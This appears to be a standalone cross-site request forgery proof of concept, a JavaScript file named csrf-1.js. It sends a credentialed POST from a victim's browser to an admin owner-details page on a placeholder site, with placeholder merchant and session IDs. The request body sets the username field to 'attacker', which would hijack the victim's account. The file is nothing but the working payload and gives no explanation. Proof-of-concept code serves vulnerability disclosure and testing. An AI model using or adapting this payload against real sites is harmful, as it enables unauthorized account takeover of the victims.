csrf-1.js

      function submitRequest() {
        var x = new XMLHttpRequest();
        x.open("POST", "https://www.example.com/Admin/Users/OwnerDetails.aspx?merchantId=[victim merchantId]&sid=[victim sid]", false);
        x.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
        x.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        x.setRequestHeader("Accept-Language", "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7");
        x.withCredentials = "true";
        var body = "usernameTextBox=attacker&main%24saveButton=Save";
        var eBody = new Uint8Array(body.length);
        for (var i=0; i < eBody.length; i++)
          eBody[i] = body.charCodeAt(i);
        x.send(new Blob([eBody]));
      }
      try {
        submitRequest();
      }catch(e){
        location.href = "https://www.example.com"
      }